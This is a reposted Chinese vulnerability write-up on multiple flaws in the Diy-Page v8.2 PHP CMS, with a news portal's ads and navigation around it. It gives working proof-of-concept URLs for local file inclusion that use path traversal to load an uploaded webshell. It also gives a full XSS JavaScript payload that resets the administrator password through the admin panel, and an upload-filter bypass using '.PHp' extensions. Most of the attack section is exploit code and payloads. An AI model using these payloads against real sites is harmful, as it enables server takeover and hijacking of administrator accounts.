热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

Diy-Page v8.2多处漏洞分析

发布时间:2011-02-16 17:00文章来源:网络文章作者:秩名 点击次数:
摘要:发布日期:2011-02.13 发布作者:cnryan 漏洞类型:文件包含 漏洞描述: 看到有位同鞋发了个DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞,跨站漏洞,etc.. A、本地文件包含漏...

发布日期:2011-02.13
发布作者:cnryan

漏洞类型:文件包含
漏洞描述:
看到有位同鞋发了个DiY-Page sqlInj漏洞分析的帖子,我也跟着读了读代码,发现Diy-Page v8.2程序还存在多处漏洞,包括本地文件包含漏洞,上传漏洞跨站漏洞,etc..

A、本地文件包含漏洞 这个漏洞比较明显,如果GPC为off,本来可以通过上传附件包含之,但程序在关闭GPC的时候又使用了addslashes函数过滤。
我们还可以通过若干长文件名截断,或旁注上传一个webshell到/tmp文件夹下包含。
   POC:
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../up/201102/20110213_dd7ec931179c4dcb6a8ffb8b8786d20b_17872a.txt.file/////////////////
http://127.0.0.1/diypage/js.php?mod=dpuser&name=../../../../tmp/shell



B、xss跨站漏洞
   跨站比较多,完全没过滤,类似的代码有:
可在发布条目的标题处写js,这个XSS跨首页也跨后台。
既然有了XSS,能做的事情就很多,譬如劫持用户、偷取COOKIE、提高权限、写shell等,下面是重置管理员密码的js:
C、上传漏洞
  DiY-Page处理上传附件的get_upload_filename函数有破绽,代码如下:
get_upload_filename()把附件名含有asp、asa、php后缀的替换为空,str_replace可以利用大写绕过。另外上传的附件如果不是 'jpg','gif','png','bmp'后缀的会自动以 .file作为 后缀,这个同样可以透过apache文件名解析缺陷漏洞利用。

   注册会员->发布条目->上传 *.PHp 即可。


 

 
 
  1.   1    //js.php    
  2.  
  3. 2  $incfile=PATH_PRE.'mod/'.$_GET['mod'].'/js/'.$_GET['name'].'.php';    
  4.  
  5. 3  if (!include $incfile) dperror($l_error['cant_include'],$incfile,true);      
  6.  

 

 
  1. 1    if ($_POST['issubmit']==true) {     
  2.  
  3. 2   $fidarray=trim($_POST['fidarray'],',');    
  4.  
  5. 3   $backurl='javascript:history.go(-1);';    
  6.  
  7. 4   $actionurlold=$actionurl;    
  8.  
  9. 5   $actionurl.='&do=list&cataid='.$_GET['cataid'];    
  10.  
  11. 6   $entrytitle=$_POST['entrytitle'];    
  12.  
  13. 7   $entrycontent=$_POST['entrycontent'];    
  14.  
  15. 8   $entrytag=trim($_POST['entrytag']);    
  16.  

 

 
  1. 01 var xmlhttp=false;    
  2.  
  3. 02 if(window.XMLHttpRequest){    
  4.  
  5. 03   xmlhttp=new XMLHttpRequest();    
  6.  
  7. 04 }else if(window.ActiveXObject){    
  8.  
  9. 05   xmlhttp=new ActiveXObject("Msxml2.XMLHTTP");    
  10.  
  11. 06 if(!xmlhttp){xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");}    
  12.  
  13. 07 }    
  14.  
  15. 08 var action="/diypage/admin.php?mod=modcp&formod=dpuser&item=useradm&do=edit&uid=1&page=1&perpage=20";    
  16.  
  17. 09 var data="gid=2&oldgid=2&dpusername=admin&dpusernewpassword=cnryan&usertpl=&regip=&loginip=&dpuseremail=&dpusermoney=0&dpuserintro=&avatar=default.gif&nickname=&issubmit=true";    
  18.  
  19. 10 xmlhttp.open("POST", action, false);    
  20.  
  21. 11 xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');    
  22.  
  23. 12 xmlhttp.send(data);   
  24.  

 

 
  1. 01 /inc/func.php    
  2.  
  3. 02 function get_upload_filename($realname) {    
  4.  
  5. 03  $exttmp=explode(".",$realname);    
  6.  
  7. 04  $ext=$exttmp[count($exttmp)-1];        
  8.  
  9. 05  $ext=str_replace(array('asp','asa',';',"'",'php'),'',$ext);   //过滤可执行文件    
  10.  
  11. 06  $filepath=get_upload_path().'/';    
  12.  
  13. 07  $filesubdir=date('Ym').'/';    
  14.  
  15. 08  mkdir($filepath.$filesubdir,0777);    
  16.  
  17. 09  $datetmp=explode(" ",microtime());    
  18.  
  19. 10  $filesuffix=substr(md5($datetmp[1]),0,6);    
  20.  
  21. 11  if(!in_array(strtolower($ext),array('jpg','gif','png','bmp'))) $ext.='.file';    //后缀加上.file    
  22.  
  23. 12  $filename=$filesubdir.date('Ymd').'_'.md5($realname).'_'.$filesuffix.'.'.$ext;    
  24.  
  25. 13  $filepath.=$filename;    
  26.  
  27. 14  return array('filename'=>$filename,'filepath'=>$filepath);    
  28.  
  29. 15 }     
  30.  

 

标签分类: 文件包含

上一篇:Bo-blog2.1程序漏洞分析
下一篇:boblog任意变量覆盖漏洞